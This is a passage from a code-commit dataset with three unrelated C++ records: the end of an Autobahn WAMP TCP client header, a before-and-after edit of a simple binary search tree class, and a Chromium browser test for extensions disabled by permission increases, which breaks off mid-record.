cleanup<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (C) 2014 Tavendo GmbH\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef AUTOBAHN_TCP_CLIENT_H\n#define AUTOBAHN_TCP_CLIENT_H\n\n#include <autobahn\/autobahn.hpp>\n#include <boost\/asio.hpp>\n#include <boost\/version.hpp>\n#include <iostream>\n#include <memory>\n#include <string>\n#include <tuple>\nnamespace autobahn {\n\/**\n * @brief a class that wraps initialization of a raw tcp socket and WAMP client session utilizing it\n *\/\n class wamp_tcp_client {\n typedef autobahn::wamp_session<boost::asio::ip::tcp::socket, boost::asio::ip::tcp::socket> wamp_tcp_session_t;\n public:\n wamp_tcp_client(std::shared_ptr<boost::asio::io_service> pIo,\n const boost::asio::ip::tcp::endpoint &Endpoint,\n const std::string &Realm,\n bool Debug = false) :\n m_realm(Realm),\n m_rawsocket_endpoint(Endpoint),\n m_pIo(pIo),\n m_debug(Debug) {\n init();\n }\n\n wamp_tcp_client(std::shared_ptr<boost::asio::io_service> pIo,\n const std::string &IpAddress,\n uint16_t Port,\n const std::string &Realm,\n bool Debug = false) :\n m_realm(Realm),\n m_rawsocket_endpoint(boost::asio::ip::address::from_string(IpAddress), Port),\n m_pIo(pIo),\n m_debug(Debug) {\n init();\n }\n\n \/**\n * @brief initialize members, creating shared pointers for the socket, and session\n *\/\n void init() {\n m_pSession.reset();\n m_pSocket.reset();\n m_connected = boost::promise<bool>();\n m_pSocket = std::make_shared<boost::asio::ip::tcp::socket>(*m_pIo);\n m_pSession = std::make_shared<wamp_tcp_session_t>(*m_pIo, *m_pSocket, *m_pSocket, m_debug);\n }\n\n \/**\n * @brief launches the session asynchronously, returns a future containing an error code (0 means success)\n *\/\n boost::future<bool> launch() {\n m_pSocket->async_connect(m_rawsocket_endpoint, [&](boost::system::error_code ec) {\n if (!ec) {\n m_startFuture = m_pSession->start().then([&](boost::future<bool> started) {\n m_joinFuture = m_pSession->join(m_realm).then([&](boost::future<uint64_t> connected) {\n m_connected.set_value(true);\n });\n });\n } else {\n std::cerr << \"connect failed: \" << ec.message() << std::endl;\n m_connected.set_value(false);\n }\n });\n return m_connected.get_future();\n }\n\n ~wamp_tcp_client() {\n }\n\n \/**\n * This operator is used to pass through calls to the WAMP session. i.e *(pClient)->call(...)\n *\/\n std::shared_ptr<wamp_tcp_session_t> &operator->() {\n return m_pSession;\n }\n\n private:\n boost::future<void> m_startFuture; \/\/\/<holds the future of the start() operation\n boost::future<void> m_joinFuture; \/\/\/<holds the future of the join() operation\n boost::promise<bool> m_connected; \/\/\/<holds the future state of the success of launch\n std::shared_ptr<wamp_tcp_session_t> m_pSession; \/\/<need to be sure this is destructed before m_pSocket\n std::shared_ptr<boost::asio::ip::tcp::socket> m_pSocket;\n std::string m_realm;\n boost::asio::ip::tcp::endpoint m_rawsocket_endpoint;\n std::shared_ptr<boost::asio::io_service> m_pIo; \/\/\/<hold a reference so that we can clean up when the last user goes out of scope\n bool m_debug;\n };\n} \/\/namespace autobahn\n#endif \/\/AUTOBAHN_TCP_CLIENT_H\n<|endoftext|>"} {"text":"<commit_before>#include <iostream> \n#include <string> \n#include <fstream> \n#include <cstdint> \n\nusing namespace std;\n\ntemplate <typename T>\nstruct Node {\n\tNode *left;\n\tNode *right;\n\tT data;\n};\n\n\ntemplate <typename T>\nclass BinaryTree\n{\nprivate:\n\tNode<T>*root();\n\tint CountElements = 0;\n\npublic:\n\tBinaryTree();\n\t~BinaryTree();\n\tBinaryTree(const std::initializer_list<T>&);\n\tvoid _deleteElements(Node<T>*);\n\tNode<T>* root_;\n\tunsigned int count() const;\n\tvoid insert_node(const T&x);\n\tNode<T> *find_node(const T&, Node<T>*)const;\n\tvoid deleteNode(Node<T>* temp);\n\tvoid writing(const std::string& filename)const;\n\tfriend std::ostream& output(std::ostream& ost, const Node<T>* temp);\n\tfriend std::ostream& operator<<<>(std::ostream&, const BinaryTree<T>&);\n\n};\n\ntemplate <typename T>\nBinaryTree<T>::BinaryTree()\n{\n\troot = nullptr;\n}\n\ntemplate<typename T>\nNode<T>* BinaryTree<T>::root_()\n{\n\treturn root;\n}\n\ntemplate <typename T>\nBinaryTree<T>::~BinaryTree()\n{\n\tdeleteNode(root);\n}\n\n\ntemplate<typename T>\nvoid BinaryTree<T>::insert_node(const T&x)\n{\n\tif (find_node(x, root_())) return;\n\tNode<T>* MyTree = new Node<T>;\n\tMyTree->data = x;\n\tMyTree->left = MyTree->right = 0;\n\tNode<T>* buff = root;\n\tNode<T>* temp = root;\n\twhile (temp)\n\t{\n\t\tbuff = temp;\n\t\tif (x < temp->data)\n\t\t\ttemp = temp->left;\n\t\telse\n\t\t\ttemp = temp->right;\n\t}\n\tif (!buff)\n\t\troot = MyTree;\n\telse\n\t{\n\t\tif (x < buff->data)\n\t\t\tbuff->left = MyTree;\n\t\telse\n\t\t\tbuff->right = MyTree;\n\t}\n\t++CountElements;\n}\n\n\ntemplate<typename T>\nNode<T>* BinaryTree<T>::find_node(const T& value, Node<T>* temp) const\n{\n\tif (temp == 0 || value == temp->data)\n\t\treturn temp;\n\tif (value > temp->data)\n\t\treturn find_node(value, temp->right);\n\telse\n\t\treturn find_node(value, temp->left);\n}\n\ntemplate<typename T>\nvoid BinaryTree<T>::deleteNode(Node<T>* temp)\n{\n\tif (!temp)\n\t{\n\t\tthrow \"error\";\n\t}\n\tif (temp->left)\n\t{\n\t\tdeleteNode(temp->left);\n\t\ttemp->left = nullptr;\n\t}\n\n\tif (temp->right)\n\t{\n\t\tdeleteNode(temp->right);\n\t\ttemp->right = nullptr;\n\t}\n\tdelete temp;\n}\n\ntemplate<typename T>\nstd::ostream& show(std::ostream& ost, const Node<T>* temp)\n{\n\tif (temp == nullptr)\n\t{\n\t\tthrow \"error\";\n\t}\n\telse\n\t{\n\t\tost << temp->data << \"\t\";\n\t\toutput(ost, temp->left);\n\t\toutput(ost, temp->right);\n\t}\n}\n\n\ntemplate<typename T>\nvoid BinaryTree<T>::writing(const std::string& filename)const\n{\n\tofstream file_1(filename);\n\tfile_1 << CountElements << \"\\t\";\n\toutput(file_1, root);\n\tfile_1.close();\n}\n\n\ntemplate <typename T>\nstd::ostream& show(std::ostream& ost, const Node<T>* node, unsigned int level)\n{\n\tif (!node)\n\t\treturn ost;\n\tshow(ost, node->right, level + 1);\n\tfor (unsigned int i = 0; i < level; i++)\n\t\tost << \"\\t\";\n\tost << node->data << std::endl;\n\tshow(ost, node->left, level + 1);\n\treturn ost;\n}\n\n\ntemplate <typename T>\nstd::ostream& operator<<(std::ostream& ost, const BinaryTree<T>& temp)\n{\n\tif (!temp.root)\n\t\tthrow \"error\";\n\tshow(ost, temp.root, 0);\n\treturn ost;\n}\n<commit_msg>Update BinaryTree.hpp<commit_after>#include <iostream> \n#include <string> \n#include <fstream> \n#include <cstdint> \n\nusing namespace std;\n\ntemplate <typename T>\nstruct Node {\n\tNode *left;\n\tNode *right;\n\tT data;\n};\n\n\ntemplate <typename T>\nclass BinaryTree\n{\nprivate:\n\tNode<T>*root;\n\tint CountElements = 0;\n\npublic:\n\tBinaryTree();\n\t~BinaryTree();\n\tBinaryTree(const std::initializer_list<T>&);\n\tvoid _deleteElements(Node<T>*);\n\tNode<T>* root_;\n\tunsigned int count() const;\n\tvoid insert_node(const T&x);\n\tNode<T> *find_node(const T&, Node<T>*)const;\n\tvoid deleteNode(Node<T>* temp);\n\tvoid writing(const std::string& filename)const;\n\tfriend std::ostream& output(std::ostream& ost, const Node<T>* temp);\n\tfriend std::ostream& operator<<<>(std::ostream&, const BinaryTree<T>&);\n\n};\n\ntemplate <typename T>\nBinaryTree<T>::BinaryTree()\n{\n\troot = nullptr;\n}\n\ntemplate<typename T>\nNode<T>* BinaryTree<T>::root_()\n{\n\treturn root;\n}\n\ntemplate <typename T>\nBinaryTree<T>::~BinaryTree()\n{\n\tdeleteNode(root);\n}\n\n\ntemplate<typename T>\nvoid BinaryTree<T>::insert_node(const T&x)\n{\n\tif (find_node(x, root_())) return;\n\tNode<T>* MyTree = new Node<T>;\n\tMyTree->data = x;\n\tMyTree->left = MyTree->right = 0;\n\tNode<T>* buff = root;\n\tNode<T>* temp = root;\n\twhile (temp)\n\t{\n\t\tbuff = temp;\n\t\tif (x < temp->data)\n\t\t\ttemp = temp->left;\n\t\telse\n\t\t\ttemp = temp->right;\n\t}\n\tif (!buff)\n\t\troot = MyTree;\n\telse\n\t{\n\t\tif (x < buff->data)\n\t\t\tbuff->left = MyTree;\n\t\telse\n\t\t\tbuff->right = MyTree;\n\t}\n\t++CountElements;\n}\n\n\ntemplate<typename T>\nNode<T>* BinaryTree<T>::find_node(const T& value, Node<T>* temp) const\n{\n\tif (temp == 0 || value == temp->data)\n\t\treturn temp;\n\tif (value > temp->data)\n\t\treturn find_node(value, temp->right);\n\telse\n\t\treturn find_node(value, temp->left);\n}\n\ntemplate<typename T>\nvoid BinaryTree<T>::deleteNode(Node<T>* temp)\n{\n\tif (!temp)\n\t{\n\t\tthrow \"error\";\n\t}\n\tif (temp->left)\n\t{\n\t\tdeleteNode(temp->left);\n\t\ttemp->left = nullptr;\n\t}\n\n\tif (temp->right)\n\t{\n\t\tdeleteNode(temp->right);\n\t\ttemp->right = nullptr;\n\t}\n\tdelete temp;\n}\n\ntemplate<typename T>\nstd::ostream& show(std::ostream& ost, const Node<T>* temp)\n{\n\tif (temp == nullptr)\n\t{\n\t\tthrow \"error\";\n\t}\n\telse\n\t{\n\t\tost << temp->data << \"\t\";\n\t\toutput(ost, temp->left);\n\t\toutput(ost, temp->right);\n\t}\n}\n\n\ntemplate<typename T>\nvoid BinaryTree<T>::writing(const std::string& filename)const\n{\n\tofstream file_1(filename);\n\tfile_1 << CountElements << \"\\t\";\n\toutput(file_1, root);\n\tfile_1.close();\n}\n\n\ntemplate <typename T>\nstd::ostream& show(std::ostream& ost, const Node<T>* node, unsigned int level)\n{\n\tif (!node)\n\t\treturn ost;\n\tshow(ost, node->right, level + 1);\n\tfor (unsigned int i = 0; i < level; i++)\n\t\tost << \"\\t\";\n\tost << node->data << std::endl;\n\tshow(ost, node->left, level + 1);\n\treturn ost;\n}\n\n\ntemplate <typename T>\nstd::ostream& operator<<(std::ostream& ost, const BinaryTree<T>& temp)\n{\n\tif (!temp.root)\n\t\tthrow \"error\";\n\tshow(ost, temp.root, 0);\n\treturn ost;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/files\/file_path.h\"\n#include \"base\/files\/scoped_temp_dir.h\"\n#include \"base\/run_loop.h\"\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/extensions\/extension_browsertest.h\"\n#include \"chrome\/browser\/extensions\/extension_prefs.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/extensions\/updater\/extension_updater.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/global_error\/global_error.h\"\n#include \"chrome\/browser\/ui\/global_error\/global_error_service.h\"\n#include \"chrome\/browser\/ui\/global_error\/global_error_service_factory.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/extensions\/extension.h\"\n#include \"content\/test\/net\/url_request_prepackaged_interceptor.h\"\n#include \"net\/url_request\/url_fetcher.h\"\n\nusing extensions::Extension;\n\nclass ExtensionDisabledGlobalErrorTest : public ExtensionBrowserTest {\n protected:\n virtual void SetUpCommandLine(CommandLine* command_line) OVERRIDE {\n ExtensionBrowserTest::SetUpCommandLine(command_line);\n command_line->AppendSwitchASCII(switches::kAppsGalleryUpdateURL,\n \"http:\/\/localhost\/autoupdate\/updates.xml\");\n }\n\n virtual void SetUpOnMainThread() OVERRIDE {\n EXPECT_TRUE(scoped_temp_dir_.CreateUniqueTempDir());\n service_ = browser()->profile()->GetExtensionService();\n base::FilePath pem_path = test_data_dir_.\n AppendASCII(\"permissions_increase\").AppendASCII(\"permissions.pem\");\n path_v1_ = PackExtensionWithOptions(\n test_data_dir_.AppendASCII(\"permissions_increase\").AppendASCII(\"v1\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions1.crx\"),\n pem_path,\n base::FilePath());\n path_v2_ = PackExtensionWithOptions(\n test_data_dir_.AppendASCII(\"permissions_increase\").AppendASCII(\"v2\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions2.crx\"),\n pem_path,\n base::FilePath());\n path_v3_ = PackExtensionWithOptions(\n test_data_dir_.AppendASCII(\"permissions_increase\").AppendASCII(\"v3\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions3.crx\"),\n pem_path,\n base::FilePath());\n }\n\n \/\/ Returns the ExtensionDisabledGlobalError, if present.\n \/\/ Caution: currently only supports one error at a time.\n GlobalError* GetExtensionDisabledGlobalError() {\n return GlobalErrorServiceFactory::GetForProfile(browser()->profile())->\n GetGlobalErrorByMenuItemCommandID(IDC_EXTENSION_DISABLED_FIRST);\n }\n\n \/\/ Install the initial version, which should happen just fine.\n const Extension* InstallIncreasingPermissionExtensionV1() {\n size_t size_before = service_->extensions()->size();\n const Extension* extension = InstallExtension(path_v1_, 1);\n if (!extension)\n return NULL;\n if (service_->extensions()->size() != size_before + 1)\n return NULL;\n return extension;\n }\n\n \/\/ Upgrade to a version that wants more permissions. We should disable the\n \/\/ extension and prompt the user to reenable.\n const Extension* UpdateIncreasingPermissionExtension(\n const Extension* extension,\n const base::FilePath& crx_path,\n int expected_change) {\n size_t size_before = service_->extensions()->size();\n if (UpdateExtension(extension->id(), crx_path, expected_change))\n return NULL;\n base::RunLoop().RunUntilIdle();\n EXPECT_EQ(size_before + expected_change, service_->extensions()->size());\n if (service_->disabled_extensions()->size() != 1u)\n return NULL;\n\n return *service_->disabled_extensions()->begin();\n }\n\n \/\/ Helper function to install an extension and upgrade it to a version\n \/\/ requiring additional permissions. Returns the new disabled Extension.\n const Extension* InstallAndUpdateIncreasingPermissionsExtension() {\n const Extension* extension = InstallIncreasingPermissionExtensionV1();\n extension = UpdateIncreasingPermissionExtension(extension, path_v2_, -1);\n return extension;\n }\n\n ExtensionService* service_;\n base::ScopedTempDir scoped_temp_dir_;\n base::FilePath path_v1_;\n base::FilePath path_v2_;\n base::FilePath path_v3_;\n};\n\n\/\/ Tests the process of updating an extension to one that requires higher\n\/\/ permissions, and accepting the permissions.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest, AcceptPermissions) {\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n ASSERT_TRUE(extension);\n ASSERT_TRUE(GetExtensionDisabledGlobalError());\n const size_t size_before = service_->extensions()->size();\n\n service_->GrantPermissionsAndEnableExtension(extension);\n EXPECT_EQ(size_before + 1, service_->extensions()->size());\n EXPECT_EQ(0u, service_->disabled_extensions()->size());\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Tests uninstalling an extension that was disabled due to higher permissions.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest, Uninstall) {\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n ASSERT_TRUE(extension);\n ASSERT_TRUE(GetExtensionDisabledGlobalError());\n const size_t size_before = service_->extensions()->size();\n\n UninstallExtension(extension->id());\n EXPECT_EQ(size_before, service_->extensions()->size());\n EXPECT_EQ(0u, service_->disabled_extensions()->size());\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Tests that no error appears if the user disabled the extension.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest, UserDisabled) {\n const Extension* extension = InstallIncreasingPermissionExtensionV1();\n DisableExtension(extension->id());\n extension = UpdateIncreasingPermissionExtension(extension, path_v2_, 0);\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Test that no error appears if the disable reason is unknown\n\/\/ (but probably was by the user).\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest,\n UnknownReasonSamePermissions) {\n const Extension* extension = InstallIncreasingPermissionExtensionV1();\n DisableExtension(extension->id());\n \/\/ Clear disable reason to simulate legacy disables.\n service_->extension_prefs()->ClearDisableReasons(extension->id());\n \/\/ Upgrade to version 2. Infer from version 1 having the same permissions\n \/\/ granted by the user that it was disabled by the user.\n extension = UpdateIncreasingPermissionExtension(extension, path_v2_, 0);\n ASSERT_TRUE(extension);\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Test that an error appears if the disable reason is unknown\n\/\/ (but probably was for increased permissions).\n\/\/ Disabled due to http:\/\/crbug.com\/246431\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest,\n DISABLED_UnknownReasonHigherPermissions) {\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n \/\/ Clear disable reason to simulate legacy disables.\n service_->extension_prefs()->ClearDisableReasons(extension->id());\n \/\/ We now have version 2 but only accepted permissions for version 1.\n GlobalError* error = GetExtensionDisabledGlobalError();\n ASSERT_TRUE(error);\n \/\/ Also, remove the upgrade error for version 2.\n GlobalErrorServiceFactory::GetForProfile(browser()->profile())->\n RemoveGlobalError(error);\n delete error;\n \/\/ Upgrade to version 3, with even higher permissions. Infer from\n \/\/ version 2 having higher-than-granted permissions that it was disabled\n \/\/ for permissions increase.\n extension = UpdateIncreasingPermissionExtension(extension, path_v3_, 0);\n ASSERT_TRUE(extension);\n ASSERT_TRUE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Test that an error appears if the extension gets disabled because a\n\/\/ version with higher permissions was installed by sync.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest,\n HigherPermissionsFromSync) {\n \/\/ Get data for extension v2 (disabled) into sync.\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n std::string extension_id = extension->id();\n \/\/ service_->GrantPermissionsAndEnableExtension(extension, false);\n extensions::ExtensionSyncData sync_data =\n service_->GetExtensionSyncData(*extension);\n UninstallExtension(extension_id);\n extension = NULL;\n\n \/\/ Install extension v1.\n InstallIncreasingPermissionExtensionV1();\n\n \/\/ Note: This interceptor gets requests on the IO thread.\n content::URLLocalHostRequestPrepackagedInterceptor interceptor;\n net::URLFetcher::SetEnableInterceptionForTests(true);\n interceptor.SetResponseIgnoreQuery(\n GURL(\"http:\/\/localhost\/autoupdate\/updates.xml\"),\n test_data_dir_.AppendASCII(\"permissions_increase\")\n .AppendASCII(\"updates.xml\"));\n interceptor.SetResponseIgnoreQuery(\n GURL(\"http:\/\/localhost\/autoupdate\/v2.crx\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions2.crx\"));\n\n extensions::ExtensionUpdater::CheckParams params;\n params.check_blacklist = false;\n service_->updater()->set_default_check_params(params);\n\n \/\/ Sync is replacing an older version, so it pends.\n EXPECT_FALSE(service_->ProcessExtensionSyncData(sync_data));\n\n WaitForExtensionInstall();\n base::RunLoop().RunUntilIdle();\n\n extension = service_->GetExtensionById(extension_id, true);\n ASSERT_TRUE(extension);\n EXPECT_EQ(\"2\", extension->VersionString());\n EXPECT_EQ(1u, service_->disabled_extensions()->size());\n EXPECT_EQ(Extension::DISABLE_PERMISSIONS_INCREASE,\n service_->extension_prefs()->GetDisableReasons(extension_id));\n EXPECT_TRUE(GetExtensionDisabledGlobalError());\n}\n<commit_msg>Another speculative fix for ExtensionDisabledGlobalErrorTests. Flush blocking tasks.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/files\/file_path.h\"\n#include \"base\/files\/scoped_temp_dir.h\"\n#include \"base\/threading\/sequenced_worker_pool.h\"\n#include \"chrome\/app\/chrome_command_ids.h\"\n#include \"chrome\/browser\/extensions\/extension_browsertest.h\"\n#include \"chrome\/browser\/extensions\/extension_prefs.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/extensions\/updater\/extension_updater.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/global_error\/global_error.h\"\n#include \"chrome\/browser\/ui\/global_error\/global_error_service.h\"\n#include \"chrome\/browser\/ui\/global_error\/global_error_service_factory.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/extensions\/extension.h\"\n#include \"content\/test\/net\/url_request_prepackaged_interceptor.h\"\n#include \"net\/url_request\/url_fetcher.h\"\n\nusing extensions::Extension;\n\nclass ExtensionDisabledGlobalErrorTest : public ExtensionBrowserTest {\n protected:\n virtual void SetUpCommandLine(CommandLine* command_line) OVERRIDE {\n ExtensionBrowserTest::SetUpCommandLine(command_line);\n command_line->AppendSwitchASCII(switches::kAppsGalleryUpdateURL,\n \"http:\/\/localhost\/autoupdate\/updates.xml\");\n }\n\n virtual void SetUpOnMainThread() OVERRIDE {\n EXPECT_TRUE(scoped_temp_dir_.CreateUniqueTempDir());\n service_ = browser()->profile()->GetExtensionService();\n base::FilePath pem_path = test_data_dir_.\n AppendASCII(\"permissions_increase\").AppendASCII(\"permissions.pem\");\n path_v1_ = PackExtensionWithOptions(\n test_data_dir_.AppendASCII(\"permissions_increase\").AppendASCII(\"v1\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions1.crx\"),\n pem_path,\n base::FilePath());\n path_v2_ = PackExtensionWithOptions(\n test_data_dir_.AppendASCII(\"permissions_increase\").AppendASCII(\"v2\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions2.crx\"),\n pem_path,\n base::FilePath());\n path_v3_ = PackExtensionWithOptions(\n test_data_dir_.AppendASCII(\"permissions_increase\").AppendASCII(\"v3\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions3.crx\"),\n pem_path,\n base::FilePath());\n }\n\n \/\/ Returns the ExtensionDisabledGlobalError, if present.\n \/\/ Caution: currently only supports one error at a time.\n GlobalError* GetExtensionDisabledGlobalError() {\n return GlobalErrorServiceFactory::GetForProfile(browser()->profile())->\n GetGlobalErrorByMenuItemCommandID(IDC_EXTENSION_DISABLED_FIRST);\n }\n\n \/\/ Install the initial version, which should happen just fine.\n const Extension* InstallIncreasingPermissionExtensionV1() {\n size_t size_before = service_->extensions()->size();\n const Extension* extension = InstallExtension(path_v1_, 1);\n if (!extension)\n return NULL;\n if (service_->extensions()->size() != size_before + 1)\n return NULL;\n return extension;\n }\n\n \/\/ Upgrade to a version that wants more permissions. We should disable the\n \/\/ extension and prompt the user to reenable.\n const Extension* UpdateIncreasingPermissionExtension(\n const Extension* extension,\n const base::FilePath& crx_path,\n int expected_change) {\n size_t size_before = service_->extensions()->size();\n if (UpdateExtension(extension->id(), crx_path, expected_change))\n return NULL;\n BrowserThread::GetBlockingPool()->FlushForTesting();\n EXPECT_EQ(size_before + expected_change, service_->extensions()->size());\n if (service_->disabled_extensions()->size() != 1u)\n return NULL;\n\n return *service_->disabled_extensions()->begin();\n }\n\n \/\/ Helper function to install an extension and upgrade it to a version\n \/\/ requiring additional permissions. Returns the new disabled Extension.\n const Extension* InstallAndUpdateIncreasingPermissionsExtension() {\n const Extension* extension = InstallIncreasingPermissionExtensionV1();\n extension = UpdateIncreasingPermissionExtension(extension, path_v2_, -1);\n return extension;\n }\n\n ExtensionService* service_;\n base::ScopedTempDir scoped_temp_dir_;\n base::FilePath path_v1_;\n base::FilePath path_v2_;\n base::FilePath path_v3_;\n};\n\n\/\/ Tests the process of updating an extension to one that requires higher\n\/\/ permissions, and accepting the permissions.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest, AcceptPermissions) {\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n ASSERT_TRUE(extension);\n ASSERT_TRUE(GetExtensionDisabledGlobalError());\n const size_t size_before = service_->extensions()->size();\n\n service_->GrantPermissionsAndEnableExtension(extension);\n EXPECT_EQ(size_before + 1, service_->extensions()->size());\n EXPECT_EQ(0u, service_->disabled_extensions()->size());\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Tests uninstalling an extension that was disabled due to higher permissions.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest, Uninstall) {\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n ASSERT_TRUE(extension);\n ASSERT_TRUE(GetExtensionDisabledGlobalError());\n const size_t size_before = service_->extensions()->size();\n\n UninstallExtension(extension->id());\n EXPECT_EQ(size_before, service_->extensions()->size());\n EXPECT_EQ(0u, service_->disabled_extensions()->size());\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Tests that no error appears if the user disabled the extension.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest, UserDisabled) {\n const Extension* extension = InstallIncreasingPermissionExtensionV1();\n DisableExtension(extension->id());\n extension = UpdateIncreasingPermissionExtension(extension, path_v2_, 0);\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Test that no error appears if the disable reason is unknown\n\/\/ (but probably was by the user).\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest,\n UnknownReasonSamePermissions) {\n const Extension* extension = InstallIncreasingPermissionExtensionV1();\n DisableExtension(extension->id());\n \/\/ Clear disable reason to simulate legacy disables.\n service_->extension_prefs()->ClearDisableReasons(extension->id());\n \/\/ Upgrade to version 2. Infer from version 1 having the same permissions\n \/\/ granted by the user that it was disabled by the user.\n extension = UpdateIncreasingPermissionExtension(extension, path_v2_, 0);\n ASSERT_TRUE(extension);\n ASSERT_FALSE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Test that an error appears if the disable reason is unknown\n\/\/ (but probably was for increased permissions).\n\/\/ Disabled due to http:\/\/crbug.com\/246431\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest,\n DISABLED_UnknownReasonHigherPermissions) {\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n \/\/ Clear disable reason to simulate legacy disables.\n service_->extension_prefs()->ClearDisableReasons(extension->id());\n \/\/ We now have version 2 but only accepted permissions for version 1.\n GlobalError* error = GetExtensionDisabledGlobalError();\n ASSERT_TRUE(error);\n \/\/ Also, remove the upgrade error for version 2.\n GlobalErrorServiceFactory::GetForProfile(browser()->profile())->\n RemoveGlobalError(error);\n delete error;\n \/\/ Upgrade to version 3, with even higher permissions. Infer from\n \/\/ version 2 having higher-than-granted permissions that it was disabled\n \/\/ for permissions increase.\n extension = UpdateIncreasingPermissionExtension(extension, path_v3_, 0);\n ASSERT_TRUE(extension);\n ASSERT_TRUE(GetExtensionDisabledGlobalError());\n}\n\n\/\/ Test that an error appears if the extension gets disabled because a\n\/\/ version with higher permissions was installed by sync.\nIN_PROC_BROWSER_TEST_F(ExtensionDisabledGlobalErrorTest,\n HigherPermissionsFromSync) {\n \/\/ Get data for extension v2 (disabled) into sync.\n const Extension* extension = InstallAndUpdateIncreasingPermissionsExtension();\n std::string extension_id = extension->id();\n \/\/ service_->GrantPermissionsAndEnableExtension(extension, false);\n extensions::ExtensionSyncData sync_data =\n service_->GetExtensionSyncData(*extension);\n UninstallExtension(extension_id);\n extension = NULL;\n\n \/\/ Install extension v1.\n InstallIncreasingPermissionExtensionV1();\n\n \/\/ Note: This interceptor gets requests on the IO thread.\n content::URLLocalHostRequestPrepackagedInterceptor interceptor;\n net::URLFetcher::SetEnableInterceptionForTests(true);\n interceptor.SetResponseIgnoreQuery(\n GURL(\"http:\/\/localhost\/autoupdate\/updates.xml\"),\n test_data_dir_.AppendASCII(\"permissions_increase\")\n .AppendASCII(\"updates.xml\"));\n interceptor.SetResponseIgnoreQuery(\n GURL(\"http:\/\/localhost\/autoupdate\/v2.crx\"),\n scoped_temp_dir_.path().AppendASCII(\"permissions2.crx\"));\n\n extensions::ExtensionUpdater::CheckParams params;\n params.check_blacklist = false;\n service_->updater()->set_default_check_params(params);\n\n \/\/ Sync is replacing an older version, so it pends.\n EXPECT_FALSE(service_->ProcessExtensionSyncData(sync_data));\n\n WaitForExtensionInstall();\n BrowserThread::GetBlockingPool()->FlushForTesting();\n\n extension = service_->GetExtensionById(extension_id, true);\n ASSERT_TRUE(extension);\n EXPECT_EQ(\"2\", extension->VersionString());\n EXPECT_EQ(1u, service_->disabled_extensions()->size());\n EXPECT_EQ(Extension::DISABLE_PERMISSIONS_INCREASE,\n 